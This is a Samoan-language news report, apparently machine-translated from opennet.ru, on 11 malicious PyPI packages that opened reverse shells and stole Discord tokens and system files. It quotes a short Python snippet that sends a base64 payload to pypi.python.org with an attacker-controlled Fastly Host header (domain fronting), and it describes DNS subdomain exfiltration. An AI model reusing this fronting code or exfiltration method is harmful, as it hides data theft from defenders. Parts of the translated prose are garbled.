O le lisi o le PyPI (Python Package Index) na faʻaalia ai pusa 11 e aofia ai faʻailoga leaga. Aʻo leʻi iloa faʻafitauli, na mafai e afifi ona sii mai e tusa ma le 38 afe taimi i le aofaʻi. O afifi leaga ua iloa e iloga mo le faʻaogaina o auala lavelave e natia ai auala fesoʻotaʻiga ma 'auʻaunaga a le au osofaʻi.
- importantpackage (6305 downloads), important-package (12897) - faʻatūina se fesoʻotaʻiga i se server i fafo i lalo o le faʻaogaina o le fesoʻotaʻi i le pypi.python.org e tuʻuina atu ai le atigi avanoa i le faiga (reverse shell) ma faʻaoga le polokalame trevorc2 e nana ai le ala feso'ota'iga.
- pptest (10001), ipboards (946) - faʻaaogaina le DNS e avea o se fesoʻotaʻiga fesoʻotaʻiga e faʻafeiloaʻi ai faʻamatalaga e uiga i le faiga (i le pusa muamua, le igoa talimalo, lisi o galuega, IP totonu ma fafo, i le lona lua - username ma hostname).
- owlmoon (3285), DiscordSafety (557), yiffparty (1859) na maua le faailoga o le auaunaga a le Discord i totonu o le polokalama ma auina atu i se tagata talimalo i fafo.
- trrfab (287) - auina atu le faʻamatalaga, igoa talimalo ma mea o loʻo i totonu o /etc/passwd, /etc/hosts, /home i se talimalo i fafo.
- 10Cent10 (490) - fa'atūina se feso'ota'iga fa'afeagai o atigi ma se 'au mai fafo.
- yandex-yt (4183) - faʻaalia se feʻau e uiga i le faiga o loʻo faʻafefeteina ma toe faʻafeiloaʻi i se itulau o loʻo i ai faʻamatalaga faaopoopo e uiga i isi gaioiga na tuʻuina atu e ala i le nda.ya.ru (api.ya.cc).
O le faʻamatalaga faapitoa o le auala e faʻaogaina ai 'au mai fafo o loʻo faʻaaogaina i totonu o pusa taua ma pusa taua, lea na faʻaogaina ai le Fastly content delivery network na faʻaaogaina i le PyPI catalog e nana ai a latou gaioiga. O le mea moni, na tuʻuina atu talosaga i le pypi.python.org server (e aofia ai le faʻamaonia o le igoa python.org i le SNI i totonu ole talosaga HTTPS), ae i le taimi lava e tasi, o le igoa o le server e pulea e le au osofaʻi na seti i le HTTP ulutala "Host" (sec.forward.io. global.prod.fastly.net). O le feso'ota'iga tu'uina atu o mea na tu'uina atu se talosaga fa'atusa i le 'au'aunaga a le tagata osofa'i e fa'aaoga ai le feso'ota'iga TLS ma le pypi.python.org pe a fa'asalalau fa'amaumauga.
O le PyPI infrastructure o loʻo faʻamalosia e le Fastly content delivery network, lea e faʻaogaina ai se sui Varnish manino e faʻapipiʻi ai talosaga masani, ma faʻaogaina le TLS tusi faʻamaonia i le CDN, nai lo le faʻauʻuga, e faʻatulaga talosaga HTTPS e ala i le sui. E tusa lava po o le a le 'au faʻamoemoe, e tuʻuina atu talosaga i le sui, lea e fuafua ai le talimalo manaʻomia e le "Host" HTTP header, ma o igoa ole igoa ole 'au e fesoʻotaʻi i tuatusi IP masani o le CDN load balancers mo tagata uma Fastly.
O lo'o resitalaina fo'i le 'au'aunaga a le tagata osofa'i i le CDN Fastly, lea e tu'uina atu fua fa'amatalaga fa'amatalaga i tagata uma ma e o'o lava ina fa'atagaina le resitalaina e le ta'ua. E mataʻina pe a fatuina se "pepa faʻasolosolo", e faʻaaogaina foi se polokalame e lafo ai talosaga i le tagata manua, ae na amataina e le 'au a le au osofaʻi. Mai fafo, fegalegaleai ma le tagata osofaʻi e foliga mai o se sauniga faʻatulafonoina ma le PyPI directory, faʻailoga e faʻaaoga ai le PyPI TLS tusi faamaonia. O se auala talitutusa, ua taʻua o le "domain fronting", na faʻaaogaina muamua e nana ai le igoa talimalo pe a faʻamalo loka, faʻaaogaina le gafatia o loʻo tuʻuina atu i nisi o fesoʻotaʻiga CDN e maua ai le HTTPS faʻatasi ai ma se talimalo faʻamaonia ua faʻamaonia i le SNI ma le faʻasalalauga moni o le igoa o le tagata fa'atalosaga talosaga i le ulutala Host HTTP i totonu o se sauniga TLS.
Ina ia natia gaioiga leaga, na faʻaaogaina foi le pusa TrevorC2, lea na faia ai fegalegaleaiga ma le 'auʻaunaga e pei o le masani i luga o le upega tafaʻilagi, mo se faʻataʻitaʻiga, o talosaga leaga na lafoina i lalo o le faʻailoga o le siiina mai o se ata "https://pypi.python.org/images /guid=” fa'atasi ai ma fa'amatalaga fa'ailoga i le ta'iala ta'iala. url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})
O pusa pptest ma ipboards na faʻaogaina se auala ese e nana ai le gaioiga o fesoʻotaʻiga e faʻavae i luga o faʻamatalaga faʻamatalaga totogi i fesili ile DNS server. O polokalama leaga e tuʻuina atu faʻamatalaga e ala i le faʻatinoina o talosaga DNS o le fomu "nu4timjagq4fimbuhe.example.com", lea o loʻo faʻapipiʻiina ai faʻamatalaga e tuʻuina atu i le faʻatonuga ma le pulea le server i le igoa subdomain e faʻaaoga ai le base64 format. E maua e le tagata osofaʻi nei feʻau e ala i le puleaina o le DNS server mo le example.com domain.
puna: opennet.ru